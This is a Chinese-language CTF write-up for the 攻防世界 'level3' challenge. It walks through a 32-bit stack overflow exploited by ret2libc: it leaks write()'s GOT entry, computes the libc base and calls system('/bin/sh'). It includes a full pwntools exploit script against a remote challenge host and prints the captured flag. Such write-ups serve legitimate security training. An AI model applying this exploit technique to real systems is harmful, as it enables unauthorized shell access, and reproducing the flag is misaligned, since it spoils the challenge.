收获

  • elf 文件中没有给出 system() 函数和字符串 "/bin/sh" 的地址时,如果给出了一个库文件 libc,可以通过库文件来确定基地址,然后根据基地址反向推出 elf 文件中的 system() 函数以及 "/bin/sh" 的地址

【攻防世界】level3


思路

得到一个可执行文件和一个 32 位库文件:

攻防世界-level3 1.png

查看文件信息:

攻防世界-level3 2.png

32位 小端序,只开启了栈不可执行

尝试运行:

攻防世界-level3 3.png

在 IDA 中分析:

攻防世界-level3 4.png

进入漏洞函数 vulnerable_function()

攻防世界-level3 5.png

查看 buf 所在位置:

攻防世界-level3 6.png

buf 在栈中的长度为 0x88,但可以通过 read() 输入的长度为 0x100,存在溢出点

查看字符串:

攻防世界-level3 7.png

本题没有 "/bin/sh",也无法向段中写入数据

在 IDA 中查看函数:

攻防世界-level3 8.png

发现本题没有给出 system() 函数

但是由于本题给出了一个 32位 库文件,结合题目给出的提示,通过该 libc 库文件入手
同时,根据题目,程序中没有现成的 system() 函数,这就需要我们从 libc 中动态加载 system() 函数

由于 PIE 没有开启,也就是说程序地址不是随机化的,那么在 libc 中函数的偏移地址就是固定的,只要确定了 libc 的基地址,然后计算出 system() 函数的偏移地址,就可以定位到 system() 函数的真实地址,实现调用

libc 中的函数的相对地址是固定的,要想获取到 system() 函数的地址,可以通过 write() 函数进行 offset 计算:

  1. 首先利用 write() 函数计算出 write() 函数的真实地址
  2. 利用相对 offset 计算出 system() 函数和 "/bin/sh" 的真实地址

先使用 write() 泄露 got 表中的地址,计算出 libc 的基地址,调用完成之后返回到 vulnerable_function(),计算出 system() 函数和 "/bin/sh" 在内存中的地址,然后再进行一次栈溢出调用 system("/bin/sh") 即可


脚本

from pwn import *

context(os='linux', arch='i386', log_level='debug')  # 打印调试信息
content = 0  # 本地Pwn通之后,将content改成0,Pwn远程端口

# elf
elf = ELF("./level3/level3")  # 生成elf对象
elf_main_addr = elf.symbols["main"]  # 获取elf文件中main函数的地址
elf_write_plt_addr = elf.plt["write"]  # 获取elf文件中write函数在PLT表中的地址
elf_write_got_addr = elf.got["write"]  # 获取elf文件中write函数在GOT表中的地址

# libc
libc = ELF("./level3/libc_32.so.6")  # 生成libc对象
libc_write_addr = libc.symbols["write"]  # 获取libc库中的write函数的地址
libc_system_addr = libc.symbols["system"]  # 获取libc库中的system函数的地址
lib_bin_sh_addr = next(libc.search(b'/bin/sh'))  # 在libc库中搜索"/bin/sh"字符串的地址


def main():
    if content == 1:
        io = process("./level3/level3")  # 程序在kali的路径
    else:
        io = remote("61.147.171.105", 63027)  # 题目的远程端口,注意是remote

    payload = b'a' * (0x88 - 0x00 + 0x04) + p32(elf_write_plt_addr) + p32(elf_main_addr)
    payload += p32(1) + p32(elf_write_got_addr) + p32(4)

    io.recvuntil("Input:\n")
    io.sendline(payload)
    write_addr = u32(io.recv()[:4])  # 接收数据: write函数在elf文件中的地址
    print("write_addr: ", hex(write_addr))  # 将此地址打印出来(每次执行结果不一样)

    base_addr = write_addr - libc_write_addr  # 根据elf文件中的write_addr计算得到基地址
    system_addr = base_addr + libc_system_addr  # 根据基地址base_addr计算得到elf文件中system函数地址
    bin_sh_addr = base_addr + lib_bin_sh_addr  # 根据基地址base_addr计算得到elf文件中"/bin/sh"的地址

    payload = b'a' * (0x88 - 0x00 + 0x04) + p32(system_addr)  # 得到了函数在elf文件中的真实地址后,按照以往的正常调用方式来写即可
    payload = payload + b'aaaa' + p32(bin_sh_addr)  # 填充4个垃圾字符平衡栈,使"/bin/sh"作为system函数的参数

    io.recvuntil("Input:\n")
    io.sendline(payload)

    io.interactive()


main()

结果

cyberpeace{ee17c7e9631b2894da88efa5205b4a8c}

攻防世界-level3 9.png